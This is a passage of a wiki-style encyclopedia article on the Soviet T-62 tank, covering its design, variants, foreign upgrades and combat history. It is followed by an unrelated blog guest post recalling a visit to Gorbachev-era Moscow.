demanded that production of the Ob'yekt 166 main battle tank be started immediately.


The OKB-520 design bureau of Uralvagonzavod provided another design, the Ob'yekt 167, which was the Ob'yekt 166 with a new more powerful V-26 engine using a charger, developing 700 hp (522 kW). Two prototypes were built in the middle of 1961 and passed the trials. This time the GBTU decided not to wait for the new main battle tank to pass trials and send the Ob'yekt 166 into mass production on July 1961. The Ob'yekt 165 also entered service in very small numbers, under the designation T-62A. [8]


Design Edit


US Army recognition poster


The T-62 has a typical tank layout: driver's compartment at the front, fighting compartment in the centre and engine compartment in the rear. The four-man crew consists of the commander, driver, gunner and loader. Although the T-62 is very similar to the T-55 and makes use of many of the same parts, there are some differences. Those include the hull, which is a few centimetres longer and wider, the different road wheels, and differences in characteristic uneven gaps between roadwheels. Unlike the T-54 and T-55 main battle tanks, the gaps between the last three pairs of roadwheels are larger than the rest. (Perrett 1987:37-38 )


A T-62 armed with 12.7 mm DShK 1938/46 antiaircraft heavy machine gun


Armament Edit


The armament consists of the 115 mm U-5TS "Molot" (2A20) Rapira smoothbore tank gun with a two-axis "Meteor" stabilizer and 7.62 mm PKT coaxial general-purpose machine gun mounted on the right of the main gun. The 12.7 mm DShK 1938/46 antiaircraft heavy machine gun is mounted on the loader's hatch. It was optional until 1972 when all newly built tanks were fitted with the AA HMG. The tank carries 40 rounds for the main gun (although only 4 are placed in the turret while the rest are stored in the back of the fighting compartment and in the front of the hull, on the right of the driver) and 2500 rounds for the coaxial machine gun. All of the vehicle's armament is mounted in or on the round cast egg-shaped turret from the Ob'yekt 140 prototype main battle tank, mounted over the third pair of roadwheels. It takes more than 21 seconds for the T-62's turret to rotate through a full 360°, which is longer than the time needed by US and NATO tanks of the time. The T-62 was armed with the world's first smoothbore tank gun, giving it considerably greater muzzle velocity than the Western 90 mm and 105 mm tank guns of its time. [ citation needed ] It can fire BM-6 APFSDS-T, BK-4, BK-4M HEAT and OF-18 Frag-HE rounds. The 115 mm gun introduced the first successful APFSDS ammunition, albeit with a steel penetrator. A smoothbore gun allowed a significantly better performance (from 10% to 20%) from HEAT ammunition, which was considered the main ammunition type for fighting enemy armour at medium and long ranges. [1] [2] The gun can be elevated or depressed between −4° and +16°. The tank has no autoloader and has to be reloaded by hand. To reload the gun it must be elevated or depressed to +3.5°. Empty cartridges are automatically ejected outside the vehicle through a small hatch in the rear of the turret. The gun has range of fire of about 4 km during day conditions and 800 m (with the use of night vision equipment) at night. The T-62's practical rate of fire is 4 rounds per minute while the vehicle is stationary and is lower when the vehicle is moving. The low rate of fire falls behind the capabilities of Western 105 mm tank guns. When the tank and the target are stationary, the U-5TS has almost the same accuracy as the American M60 Patton and the German Leopard 1 main battle tanks. When the tank or the target are moving the accuracy becomes very poor due to the tank's poor stabilization system and the lack of a fire control system. Even the APFSDS-T rounds at a range of 700 metres are half as accurate when the target is moving with a constant speed. [1] [2] [9] [10]


Side view of a T-62. The tank in the picture has either damaged or disassembled torsion bars and its hull lies on the ground.


Rear view of a T-62. Notice the two optional 200 litre drum-type fuel tanks.


Mobility Edit


The T-62 uses torsion bar suspension. It has five pairs of rubber-tired roadwheels, a drive sprocket at the rear and idler at the front on each side, with no return rollers. The first and last roadwheels each have a hydraulic shock absorber. The tank is powered by the V-55 12-cylinder 4-stroke one-chamber 38.88 litre water-cooled diesel engine developing 581 hp (433 kW) at 2,000 rpm. This is the same engine as the one used in the T-55. Because the T-62 weighs more than the T-55, it is less maneuverable. Like the T-55, the T-62 has three external diesel fuel tanks on the right fender and a single auxiliary oil tank on the left fender. The tank carries 960 litres of fuel in its internal and external fuel tanks. Two optional 200-litre drum-type fuel tanks can be fitted on the rear of the vehicle for an increased operational range. [4] [9]


Countermeasures Edit


A T-62 laying a smokescreen.


The T-62 has 5% better armour on the front of the hull (102 mm at 60°) and 15% better armour on the front of the turret (242 mm) than the T-54/T-55. The turret armour is 153 mm thick on the sides, 97 mm thick on the rear and 40 mm thick on the roof. The hull armour is 79 mm thick on the upper sides, 46 mm at 0° thick on the rear and 20 mm thick on the bottom. Although the armour on the front of the hull is thicker than in the T-55, the lower side armour (15 mm) and the roof armour (31 mm) are actually thinner. [1] [2]


Equipment Edit


Front view of a T-62


Rear view of a T-62


One of the many similarities between the T-54/T-55 and T-62 tanks is their ability to create a smokescreen by injecting vaporized diesel fuel into the exhaust system. Like the T-54 and T-55, the T-62 has an unditching beam mounted at the rear of the hull. The tank can be fitted with a thin snorkel for operational usage and a large diameter snorkel for training. The thin snorkel can be disassembled and carried in the back of the turret when not used. The commander's cupola is located on the left of the top of the turret. The loader has a single piece hatch located on the right side of the turret and further back than the commander's cupola. The loader's hatch has a periscope vision block that can be used to view the areas in front of and behind the vehicle. The commander's copula has four periscopes, two are located in the hatch cover while the other two are located in the forward part of the cupola. The driver has a single piece hatch located on the left front of the vehicle, directly in front of the left side of the turret. [9] The tank uses the same sights and vision devices as the T-55 except for the gunner, who received a new TSh-2B-41 sight which has x4 or x7 magnification. It is mounted coaxially with an optic rangefinder. [1] [2] The gunner has two periscope vision blocks, one of which is used in conjunction with the main searchlight mounted coaxially on the right side of the main armament. There are two other smaller searchlights. One of these is used by the commander and is mounted on his cupola. The tank has two headlights on the right front of the vehicle, one of which is infrared while the other one is white. Curved hand rails around the turret allow easier entry for the commander, the gunner, and the loader. They also help the infantry to mount and dismount the tank while performing a tank desant. The tank has a box-shaped radiation detector/actuator mounted on the right hand side of the turret, behind the compressed air tanks. While the T-62 did not feature an automatic loader (as would become characteristic of later Russian tanks), it had a unique "ejection port" built into the back of the turret, which would open as the main gun recoiled, ejecting spent shell casings outside. This was considered advantageous since the spent casings would otherwise clutter the floor of the tank and fill the interior with noxious burnt-propellant fumes. (Perrett 1987:38 ) There is a blower mounted in the rear of the turret, to the left of the spent cartridge ejection port. [9]


Limitations Edit


The T-62 shares some of the T-55's limitations: a cramped crew compartment, crude gun control equipment (on most early models), limited depression of the main gun and vulnerable fuel and ammunition storage areas. The automatic spent-cartridge ejection system can cause dangerous accumulations of carbon monoxide and possibly actual physical injury to the crew from spent cartridge cases ricocheting against the edge of a poorly aligned ejection port and rebounding into the crew compartment [ citation needed ]. Crew members often suffer blunt force injuries and burns from ejected cases bouncing around the interior of the tank [ citation needed ]. Later designs fitted a deflector behind the commander to protect him from this, but other crew members remain vulnerable. (Perrett 1987:38 ) Opening the ejection port under NBC (nuclear, biological, or chemical) conditions would expose the crew to contamination. [5]


Each time the gun is fired, the tube must go into détente for cartridge ejection; the power traverse of the turret is inoperable during ejection and reloading operations. Since manual elevation and traverse are rather slow and not effective for tracking a moving target, rapid fire and second-hit capabilities are limited. The turret cannot be traversed with the driver's hatch open. Although the tank commander may override the gunner and traverse the turret, he cannot fire the main gun from his position. He is unable to override the gunner in elevation of the main gun, causing target acquisition problems. [5]


To fire the 12.7 mm antiaircraft heavy machine gun, the loader must be partially exposed, making him vulnerable to suppressive fire, and he must leave his main gun loading duties unattended. [5]


The T-62 never enjoyed the anticipated success for numerous reasons. First, the T-62 was more than twice as expensive as the T-55, and many Warsaw Pact nations passed on the new tank because they did not feel that the improvements inherent in it warranted the cost. Secondly, in 1968, a 100 mm HVAPDS tank shell capable of piercing Western armor was developed. Use of this shell made the T-55 gun almost as effective as the T-62s, undercutting the T-62's original selling point: a bigger, more powerful gun. Third, the T-62 was almost immediately rendered obsolete upon its introduction by new Western tanks like the Chieftain, Leopard 1 and M60, and it became clear to the Soviets that work had to begin on an even newer main battle tank to keep pace, even though the T-62 was brand new (this even newer Soviet tank would become the T-64 ). Finally, the T-62 was slow and could not keep up with the new Soviet BMP (Infantry Combat Vehicle ) – the principal infantry fighting vehicle which the T-62 was supposed to accompany. All of these factors combined to ensure that the T-62 enjoyed relatively low commercial success, and only briefly served in first line Soviet units before being relegated to training, to reserve status, or being exported to Third World clients. (Perrett 1987:41 )


Production history Edit


In July 1961, Uralvagonzavod in Nizhny Tagil, Malyshev Factory in Kharkiv, Ukraine and Omsk Factory No. 183 replaced part of their T-55 production with the T-62. [5] [11] The original plans were that the T-62 would be produced until Morozov's Ob'yekt 432 tank was developed. T-62 production was maintained at Uralvagonzavod until 1973 when it was replaced on the production lines by the T-72. Until the end of production 20,000 T-62 main battle tanks were produced by Uralvagonzavod. [8] Production in the Soviet Union was stopped in 1975.


Czechoslovakia built more than 1,500 T-62 main battle tanks for export after production ceased in the Soviet Union in 1975, and it continued there until 1978.


North Korea produced the T-62 under license until the 1980s. In the early 1990s the North Korean Second Machine Industry Bureau designed a lighter copy of the T-62 which is mass-produced and is known locally as the Ch'ŏnma-ho I (Ga). [12]


Models Edit


Former Soviet Union Edit


Front view of T-62M of the Afghan National Army in Kabul, 2004.


T-62A (Ob'yekt 165) – Predecessor of T-62. It was essentially a stretched T-55 chassis with a 2245 mm turret ring, a new suspension, and an Ob'yekt 140 turret modernized with the addition of a spent-cartridge ejector; armed with the 100 mm D-54TS (also sometimes called U-8TS) tank gun equipped with the "Kometa" two-plane stabilizer. Only a 5 entered service. [6] [8]


T-62 Obr.1960 (Ob'yekt 166) – Original production model equipped with the 115 mm U-5TS "Molot" (2A20) Rapira smoothbore tank gun with a "Meteor" two-plane stabilizer. It has a TKN-3 commander's day/night sight, TSh-2B-41 gunner day sight with 3.5/7x magnification and TPN1–41–11 night sight. It carries 40 rounds for the main gun and 2500 rounds for the PKT coaxial general-purpose machine gun. The V-55V engine produces 581 hp (433 kW). It has a commander's cupola welded to turret. [8] [12]


T-62K (Ob'yekt 166K) (K stands for komandirskaya ["command"]) (1964) – T-62 command variant. It is fitted with an R-112 (or R-130) radio, an AB-1 APU and an antenna base on top of the turret. The ammunition load was decreased to 36 for the main gun and 1,750 rounds for the coaxial general-purpose machine gun. It was mainly used by company and battalion commanders.


T-62KN (Ob'yekt 166KN) – T-62K fitted with additional TNA-2 navigation aids.


T-62K fitted with the 9M14 Malyutka (NATO reporting name. AT-3 Sagger) ATGM launcher. [ citation needed ]


Ob'yekt 167 – T-62 fitted with a V-26 engine which with a use of charger develops 700 hp (522 kW). It has a 9M14 Malyutka (NATO: AT-3 Sagger) ATGM launcher on the rear of turret and a new chassis with return rollers and smaller roadwheels. Not produced. Only two prototypes were made. [8] [12]


Ob'yekt 167T – Ob'yekt 167 fitted with a GTD-3T gas turbine engine. [12]


T-72 – A further development of T-62 with some features of the T-64A. [8] [13]


T-62 Obr.1967 – T-62 Obr.1960 with a slightly modified engine deck.


T-62 Obr.1972 – T-62 Obr.1967 with a DShK 1938/46 machine gun installed on the loader's hatch. [12] The tank is fitted with a new drive sprocket, RMSh tracks and an improved fording attachment. [ citation needed ] It is sometimes incorrectly called T-62A and T-62M . [12]


T-62 Obr.1975 – T-62 Obr.1972 equipped with a KTD-1 or KTD-2 laser rangefinder in an armoured box over the main armament. It has concealed bolts around the commander's cupola. [12]


T-62D (Ob'yekt 166D) (D stands for Drozd [thrush]) (1983) – T-62 Obr.1975 equipped with KAZ 1030M "Drozd" active protection system (APS), BDD appliqué armour on the glacis plate only and new V-55U diesel engine.


T-62D-1 (Objekt 166D-1) – T-62D fitted with a new V-46–5M diesel engine.


T-62M (Ob'yekt 166M) (1983) - Extensive modernization of the T-62 with protection and mobility improvements and the "Volna" fire control system. It is fitted with a BDD appliqué armour package, an additional belly armour plate for anti-mine protection, 10 mm thick reinforced rubber side skirts and 10 mm thick anti-neutron liner. The BDD appliqué armour package was specially designed to defeat shaped charges (for example RPGs) and consists of an appliqué plate on the glacis and two horseshoe shaped blocks fitted to the front of the turret. The handrails around the turret have been removed to make space for the bra appliqué armour. Fastenings for four spare track chain links have been added on the side of the turret. The tank is fitted with RhKM tracks from the T-72 main battle tank and two additional shock absorbers on the first pair of roadwheels. The "Volna" fire control system was improved by fitting the KTD-2 (or KTD-1) laser rangefinder in an armoured box over the main armament. There is a new TShSM-41U gunner's sight, new commander's sight, "Meteor-M1" stabiliser, BV-62 ballistic computer and 9K116-2 "Sheksna" (NATO: AT-10 Stabber) guided missile unit with 1K13-BOM sight (it is both a night sight and ATGM launcher sight. However, it cannot be used for both functions simultaneously) which allows the tank to fire 9M117 Bastion ATGMs through its gun tube. [9] The tank was fitted with a gun thermal sleeve, new radios, the R-173 radio set instead of R-123M and a new V-55U diesel engine developing 620 hp (462 kW). The ammunition load was increased by two rounds. Some are fitted with two clusters of four smoke grenade launchers each on the right rear of the turret. The US intelligence saw T-62M main battle tanks for the first time during the Soviet war in Afghanistan and they gave it the designation T-62E . [1] [2] [9] [12] There are a number of sub-variants of the T-62M, depending on how much of the modernization package the vehicle has installed.


T-62M-1 (Ob'yekt 166M-1) – T-62M fitted with a V-46–5M diesel engine.


T-62M1 (Ob'yekt 166M1) – T-62M fitted with a revised frontal armour layout on the hull and a normal night sight. It doesn't have ATGM capability. [12]


T-62M1–1 (Ob'yekt 166M1–1) – T-62M1 fitted with the V-46–5M diesel engine.


T-62M1–2 (Ob'yekt 166M1–2) – T-62M1 without belly armour or the BDD armour package. [12]


T-62M1–2–1 (Ob'yekt 166M1–2–1) – T-62M1–2 fitted with the V-46–5M diesel engine.


T-62MD (Ob'yekt 166MD) (D stands for Drozd ["thrush"]) – T-62M fitted with KAZ 1030M "Drozd" active protection system (APS). [12]


T-62MD-1 (Ob'yekt 166MD-1) – T-62MD fitted with V-46–5M diesel engine.


T-62MK (Ob'yekt 166MK) (K stands for komandirskaya ["command"]) – T-62M command variant. It doesn't have ATGM capability but has TNA-2 navigation aids, additional R-112 and R-113 radio sets and an AB-1 auxiliary engine to power the additional radios. The tank has a lower ammunition load for both the main gun and the coaxial general-purpose machine gun.


T-62MK-1 (Ob'yekt 166MK-1) – T-62MK fitted with the V-46–5M diesel engine.


T-62MV (Ob'yekt 166MV) (1985) (V stands for vzryvnoi – ["explosive"]) – Fitted with "Kontakt-1" explosive reactive armour (ERA) on the sides of the hull, the glacis plate, and in the front of the turret (were it replaces the appliqué bra armour). [9] [12]


T-62MV-1 (Ob'yekt 166MV-1) – T-62MV fitted with the V-46–5M diesel engine. [12]


T-62M1V (Ob'yekt 166M1V) – T-62MV without ATGM capability.


T-62M1V-1 (Ob'yekt 166M1V-1) – T-62M1V fitted with a V-46–5M diesel engine.


T-62 fitted with a box on the rear of the turret containing anti-aircraft missiles. [12]


T-62 fitted with the ZET-1 (ZET stands for Zaschtschita Ekrannaja Tankowaja ) vehicle protection system. The system was developed in 1964 and was specially designed to protect the tank's front and sides up to an angle of 25° against shaped-charge projectiles with of a maximum caliber of 115 mm. It consisted of a stretchable screen with net structure centered on the vehicle's main armament and lateral flipper-type sideskirts. It was intended for T-54, T-55 and T-62 main battle tanks. The diameter of the screens was different for each tank type. The individual screen sections could be replaced in two minutes. While it was successful in wide open spaces, it was an impractical in wooded areas. Because of that the development was not heavily used, although the flipper-type sideskirts were later used in the initial T-72 models. [12]


T-62 experimentally fitted with a "Zhelud" autoloader. [ citation needed ]


T-62/122 – T-62 based combat engineering vehicle rearmed with 122 mm howitzer. [12]


T-62/160 – T-62 based combat engineer vehicle fitted with BTU and armed with a shortened 160 mm mortar. [12]


T-67 – T-62 armed with a 125 mm tank gun and fitted with a drive train from the T-72 main battle tank. [12]


TO-62 – T-62 converted into a flamethrower tank. The flamethrower has an effective range of 100 meters and is mounted coaxially with the 115 mm gun. [9]


IT-1 (Ob'yekt 150) – T-62 converted into a tank destroyer ( istrebitel' tankov ). It was developed between 1957 and 1962. It utilized the chassis and the hull of the T-62 main battle tank and was fitted with a new low 'flattened dome' turret with a stabilized 2K8 ATGM system instead of the tank gun. The IT-1 was the only one of several "rocket tank" ('raketniy tank') designs that actually entered service. It could launch radio-guided semi-automatic PTUR 3M7 "Drakon" ATGMs with a range between 300 m and 3,300 m. It carried 15 PTUR 3M7 "Drakon" ATGMs on board (3 in reserve and 12 in the autoloader). The ATGM was launched from an arm rising through the roof of the turret. The secondary armament consisted of a 7.62 mm PKT general-purpose machine gun for which it carried 2,000 rounds. The turret was fitted with T2-PD and UPN-S day/night sights. About 60 IT-1 tank destroyers were built between 1968 and 1970 by various companies including 20 built by the Uralvagonzavod factory in 1970. Only two battalions operated them, one with artillery personnel and one with tank personnel, with one battalion in Belarus MD and the other one in the Carpathian MD. The units were disbanded after the withdrawal of IT-1 and all the vehicles were converted to armored recovery vehicles (ARVs). [12]


IT-1T (T after IT-1 stands for tyagach ["tractor"]) – After the withdrawal of IT-1 from front-line service many of the vehicles were partially converted to ARVs. The only differences from the standard IT-1 was that the turret was fixed in position after all the ATGM gear was removed. They weren't very successful and were soon converted into the BTS-4V armoured recovery vehicles. [12]


BTS-4V (BTS stands for bronirovannij tyagach, srednij ["medium armoured tractor"]) – Conversion of T-62 main battle tanks and IT-1 tank destroyers into a turretless ARV. They are similar to the much more common T-54 - based BTS-4. The vehicle was fitted with a stowage basket, a hoist and a small folding crane with a capacity of 3 tonnes, a winch, and a snorkel. It is also known as BTS-4U . [12]


BTS-4V1 – Conversion of approximatively 35 pre-production T-62 main battle tanks into ARVs. [12]


BTS-4V2 – Partial conversion of 20 T-62 main battle tanks damaged by fire into an armoured recovery vehicle. The turret was replaced by a dome-shaped fixed superstructure. There is a single hatch on top of the superstructure fitted with a 12.7 mm DShK 1938/46 antiaircraft heavy machine gun. It was limited to basic towing operations and most were disposed of by giving them away as foreign aid. They were also known as BTS-4VZ . [12]


Impuls-2M – Decommissioned T-62 main battle tank converted into a fire fighting vehicle fitted with a 50-round launch system for flame-retarding projectiles on a rotatable mount in the turret ring and a dozer blade on the front. It sometimes incorrectly called T-72PPM . [12]


Austria Edit


T-62 modernization made by NORICUM. The modernization includes a replacement of the 115 mm tank gun with a 105 mm Royal Ordnance L7 tank gun. The Egyptian Army evaluated the vehicle and incorporated its upgrades in its RO-115 Mark I modernization (See Egypt section for details).


Bulgaria Edit


TV-62 – T-62 main battle tank converted into an armoured recovery vehicle. [12]


T-62 modification. [12]


TV-62M – T-62M main battle tank converted into an armoured recovery vehicle. This vehicle is composed of a T-62M hull with a modified T-55 or T-55A turret which was cut in half; the upper part was bolted onto the hull in the 6 o'clock position. There is a large winch and a snorkel mounted on the rear of the hull. [12]


TP-62 – fire fighting vehicle, for the first time presented during the Hemus 2008 defense equipment trade show. Used in the putting out of the Vitosha 2012 fire.


Egypt Edit


1st Upgrade: RO-115 Mark I . developed in early 1980s. While retaining the Soviet 115 mm gun, more powerful ammunition allows engaging a target at greater range. Some main guns were replaced with the Royal Ordnance L7 105 mm gun as offered by the Austrian firm NORICUM See Austria section for details). Other modifications included a British diesel engine developing 750 hp (559 kW), a two-plane stabilizer, ballistic computer, laser rangefinder in an armoured box over the main armament, a cluster of six smoke grenade launchers on the right side of the turret, a fire control system from BMP-3 IFV and additional armor including reactive armor. The upgrades resulted in an increase of weight to 43 tons. [1] [2]


2nd Upgrade: T-62E Mark II . Mid 1990s Egyptian refurbishment and modernization program. The tanks were fitted with a license-built German MTU engine developing 880 hp (656 kW). The tanks are armed with a license-built 105 mm M68 tank gun, an Italian fire control system with ballistics computer, infrared vision device, laser rangefinder, gun stabilizer, additional armor including reactive armour, armored side skirts, modernized suspension and six smoke grenade launchers on each side of the turret. It has an upgraded NBC (nuclear, biological, and chemical) protection system. The T-62E Mark II carries two Egyptian-made two-round anti-tank missile launchers, or two 2-round launchers for 80 mm D-3000 smoke rockets on an encroachment extension, or a box-type launcher holding two Sakr smoke missiles on each side of the turret. [12] The upgrade did not change the weight of the tank, which remained at 45 tons.


3rd Upgrade: RO-120 Mark III . T-62 main battle tank upgrade developed in 2004. This upgrade arms the tank with the 120 mm M-393 tank gun developed by FSUE. The gun is 5.30 m long and weighs 2.6 tonnes. It can be elevated or depressed between −7° and +15°. The tank has a new license-built German MTU engine developing 890 hp (664 kW) and additional armor, including reactive armor and armored side skirts. The upgrades resulted in a weight increase to 46.5 tons. This upgrade was completed by the end of 2008.


France Edit


T-62 modernization made by GIAT. The modernization includes a replacement of the 115 mm tank gun with a 120 mm smoothbore tank gun, the same as the one used in the AMX 40 prototype main battle tank. No orders were placed for this unit.


Israel Edit


Tiran-3 – Israeli designation for an unmodified T-62. [12]


Tiran-6 – Modernization of ex-Syrian T-62. Fitted with a laser rangefinder and thermal imaging sight for the gunner. The tank was fitted with a US-made radio. Some Tiran-6s have "Blazer" reactive armour tiles fitted to the hull and turret. The original engine was replaced by a General Motors diesel engine. Tiran-6s have a flat plate bustle rack added to the turret rear, two stowage bins (one on the right of the turret and other one on the rear of the turret), a larger headlight bracket on the glacis plate and pintle mounts for machine guns on the turret roof in front of each hatch. The original 115 mm tank gun was replaced by a 105 mm tank gun. The 12.7 mm DShK 1938/46 antiaircraft heavy machine gun was replaced by an M1919 Browning light machine gun. The M2 Browning heavy machine gun was mounted on top of the mantlet of the main gun.


North Korea Edit


Ch'ŏnma-ho I (Ga) – This is a lighter and thinner armoured copy of the T-62. Based on general trends and photography of armed forces parades, it is clear that North Korea has made considerable modifications to the basic Soviet and Chinese designs in its own production. [5] [12]


Ch'ŏnma-ho II – designation for an imported T-62. [12]


Ch'ŏnma-ho III – A simple progressive upgrade of the Ch’onma-ho 2, with a thermal sleeve for the main gun and armored track skirts added. It is possible, but considered unlikely, that lugs for ERA have been added since its introduction; if they are present, they would be most likely found on the glacis and turret sides. A night vision upgrade. [ citation needed ]


Ch'ŏnma-ho IV – Greatly upgraded armor protection, including composite armor on the glacis and turret front, and appliqué or thickened armor elsewhere. Even the appliqué and/or thickened armor appears to be more advanced than earlier models, does not appear to have gained a huge amount of weight. A ballistic computer was added to the fire control suite, and the fire control suite has been integrated into a complete system rather than being a patchwork of upgrades. Gun stabilization has been improved. Radios are improved, and the suspension beefed up. The new engine is a 750-horsepower model which can lay a thick, oily smoke screen by injecting diesel fuel into its exhaust. Lugs for ERA (similar to the Russian Kontakt-3 ERA) added to turret sides, and lugs on the armored track skirts and on the glacis. Lugs for a relatively small amount of ERA bricks on the turret front; the ERA on the turret front would only protect 40% of hits to the turret front. On side of turret, clusters of four smoke grenade launchers; at the rear of the turret another cluster of four smoke grenade launchers, firing backwards instead of forwards. [ citation needed ]


Ch'ŏnma-ho V – Armor upgrades derived partially from the T-90S and T-72S, as well as a better ballistic computer and the addition of the aforementioned thermal imagers. Upgraded main gun – a copy of the 125mm 2A46 gun, complete with an autoloader. The fire control system replaced with one matching the new main gun, and the spent shell ejection system dispensed. Use wider tracks. [ citation needed ]


Ukraine Edit


T-55AGM – Ukrainian T-54/T-55 modernization which can also be applied to T-62s. [14]


T-62AG - Upgraded by Kharkiv Morozov Machine Building Design Bureau. It is fitted with the 5TDF 700 hp diesel engine, a 125 mm KBA-101 tank gun, new fire control equipment and enhanced armour protection. Combat weight is 39.5 tonnes. The crew still consists of 4 men because there is no automatic loader. The upgrade package is aimed at the export market, since the Ukrainian army no longer uses the T-62. [12]


Kharkiv Morozov Machine Building Design Bureau is offering three T-62 conversions: [15]


T-62 based heavy infantry fighting vehicle.


T-62 based armoured recovery vehicle.


T-62 based armoured bridge layer.


United States Edit


T-62 - This version is modified in a number of ways including the replacement of the original diesel engine with a Caterpillar diesel engine and fitting of US radios and antennae mounts. T-62 main battle tanks modified in such a way were used by the US Army for opposing forces training. [12]


Service history Edit


MAZ-537 tractor-trailers transporting T-62 tanks, 23 May 1984


Soviet Union Edit


The T-62 entered service with the Soviet Army in July 1961. Because of the firepower of the new 115 mm gun, it was considered to be a formidable tank for the time, despite its drawbacks. [1] [2] Along with the T-55. the T-62 was one of the most common tanks in the Soviet inventory. The two tanks together once comprised approximately 85% of the Soviet army's tanks.


Sino-Soviet border conflict Edit


T-62 tank captured by the PLA during the 1969 Sino-Soviet border conflict .


The T-62 saw combat for the first time during 1969 Sino–Soviet border conflict during which one was disabled and captured by the People's Liberation Army. The T-62 (No. 545) was hit by a rocket-propelled grenade fired from the Type-56 (Chinese copy of RPG-2 ) RPG launcher on the morning of 15 March 1969 during a PLA counterattack. The RPG penetrated the left side of hull, killing the driver. This tank was later studied and the information gathered from those studies was used for the development of the Type 69 main battle tank. [ citation needed ]


Soviet war in Afghanistan Edit


Soviet T-62M of the "Berlin" tank regiment which was a part of the 5th Guards Motor Rifle Division, leaving Afghanistan, 1 January 1987


During the Soviet war in Afghanistan. the T-62 was a primary tank used by the Soviet army. [16] The Soviets used tanks in a similar way to what the US Army did in Vietnam, with the use of many in fire support bases. Towards the end of the war T-62Ms, using the BDD appliqué armor, appeared in large numbers. Numerous T-62s fell victim to Mujahideen attacks, especially from antitank landmines. Others fell into the hands of the Afghan Mujahideen after they were left behind by withdrawing Soviet forces.


Russia Edit


The T-62 and T-55 are now mostly used by Russian reserve units for a possible secondary mobilization while some are kept in storage. The active duty and primary mobilization units mainly use the T-80. T-72. and T-64. with a smaller number of T-90 tanks in service in active units.


War in Chechnya Edit


The Russian army used both T-62s and T-62Ms in combat in Chechnya. The T-62M is still being used for counterterrorism operations in this region. [ citation needed ]


2008 South Ossetia war Edit


Were used in the war against Georgia. [17]


Foreign service Edit


Bulgaria Edit


The only other Warsaw Pact member to operate T-62s on a mass scale was Bulgaria which bought 250 T-62s, which were delivered between 1970 and 1974. [18] After the war in Afghanistan, Bulgaria received a number of T-62s from the Soviet Union in the 1980s. These were modified, but due to several problems, they were quickly withdrawn from service and some were sold to Angola and Yemen. Many were converted into TV-62 and TV-62M armoured recovery vehicles and their turrets were scrapped. The TV-62M is the standard armoured recovery vehicle of the Bulgarian Army. [12]


Other Warsaw Pact members Edit


Both Poland and Czechoslovakia evaluated the vehicle but refused it because of the high price and low update value compared to the T-55.


Israel Edit


Soldiers assigned to the 1st Afghanistan National Army Armored Battalion, stand in formation with 7 of their T-62s and two of their T-62Ms during their graduation ceremony held at Polycharky. Afghanistan, 15 May 2003


During the Yom Kippur war. the T-62 was an effective adversary for Israeli Patton and Centurion main battle tanks armed with 105 mm tank guns. The T-62 had an advantage in its better night-fighting capability, but Syrian losses were heavy. The Israelis captured several hundred [ citation needed ] of these tanks from the Syrians in 1973, and put some of them into service as the Tiran-3. About 120 Tiran-3 were modernized and received the designation Tiran-6. Only a small number was converted because the new US made M60 main battle tanks started arriving in Israel. [19] A small tank brigade consisting of two enlarged tank regiments, each equipped with 46 Tiran-6 tanks, was formed. [19] The Tiran-6 is used by reserve units. The Israelis have sold the rest to assorted countries, many in Latin America. [ citation needed ]


Iraq Edit


The Iraqi T-62s performed well against opposing Iranian tanks such as M48s. M60A1s and Chieftains in the Iran-Iraq war. Iraqi T-62 participated in the biggest tank battle of the war in early 1981. Iran has lost 200 Chieftain and M60A1 tanks during battle. In return, Iraq has lost 50 T-62 tanks. The remaining Iranian armor, turned about and withdrew. [20]


Libyan-Chadian War Edit


In 1982, when Libya invaded Chad the T-62 tanks were faced with militiamen who had made technical fighting vehicles from Toyota pickup trucks, most of them still in their civilian paint. The technicals were essentially makeshift tank destroyers. as the militiamen had mounted MILAN ATGM firing posts and welded tripod mounts for assorted recoilless rifles onto the beds of the trucks. [21]


Cuba Edit


The first T-62s arrived in Cuba in 1976. [18] [22] Currently approximately 400 are in service with the Cuban armed forces and about 100 are in storage. [1] [2] They are modernized to the T-62M standard with additional armor, laser equipment and fire control systems. [22]


In 1988, Cuba deployed several T-62s to Angola to support its MPLA allies during the Angolan Civil War. Throughout the Battle of Cuito Cuanavale. they engaged attacking South African Olifant tanks and Ratel-90 armoured cars. The Cuban crews only enjoyed limited success due to the unsuitability of the demanding African terrain to tank warfare, and were frequently outperformed by enemy ATGMs and wheeled fighting vehicles. [23]


Ethiopian Civil War Edit


The Ethiopian Army purchased T-62s and used them against guerrillas.


Operators Edit


T-62 operators (former operators in red)


Former operators Edit


Iraqi T-62 destroyed near Ali Al Salem Air Base during Operation Desert Storm. 18 April 1991


Evaluation-only operators Edit


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Time Out in the USSR


Posted by Aloysa on November 23rd, 2011


When I found out that my English friend, Ian Davies, whom you have already met in his post Austerity Today. visited the USSR back in a day, I got very excited. I wanted to hear all about his experience and asked him to write another guest post. Imagine my excitement when Ian agreed! You can read more in Ian’s book Gorbachev: The Rise and Fall of a Hero .


My most interesting travel experience was a visit to the then Soviet Union – Gobachev’s Russia. Having been advised already not to take any photographs at Moscow airport, I disembarked the plane to walk with the other passengers through a line of machine gun weilding Soviet troops to the airport terminal.


On arrival we were greated by a large Eastern Bloc character (looking like an olympic weight lifter from East Germany of days gone by), who then proceeded to scan us and ask many questions about why we were here. ‘Vacation’ I replied, trying not to smile as you would normally at the joy of having some holiday time. She did not manage a smile, nor did anyone in the airport. Somehow we managed to escape the confines of the airport terminal without getting arrested.


From a personal perspective, my vacation was enjoyed greatly. The hotel for this visit to Moscow was the Cosmos hotel built originally for the Russian Olympic Games. The hotel itself was very clean and back in the day, despite shortages of food and services outside in the city, there was very little to complain about. The only shortage at the time I found was coffee, so black tea was the choice I settled for. Strangely, caviar and beef seemed in good supply, though I think this may have been a ‘tourism’ benefit’.


From the window at night I watched the young people skating on the ice, and by this I mean with blade skates on the natural ice on the ground outside. On every floor of the hotel by the lift, was another of those large ladies sitting on a chair, looking like clones of those working at the airport. They never spoke or acknowledged my presence, but I did wonder if they had some weapon tucked away just in case their tranquil duties were interupted by some anti-social activity.


During the day I would often notice a queue of people would slowly build at a street corner. The first time I saw this I wondered what they would do. But after a few had arrived, a truck would pull up and these people would buy whatever was on the truck. It could be apples, coats or shoes.


The roads were very quiet despite their size (width) as not many people would have the luxury of owning a car. Even so, there was still a lane dedicated for use only by official vehicles. Little old ladies would work away at areas of the road surface on the surrounding streets, chipping away at the frozen ice. This appeared commonplace, though I was unsure whether this was a job they were paid to do, a penance or voluntary.


Most people would use the underground railway system. These train stations are a great sight. As you decend the steps to the platforms you are greeted with chandeliers lighting these bright spaces. If this was London, it would probably be spoiled by vandals, but here it was an ornate and welcoming affair.


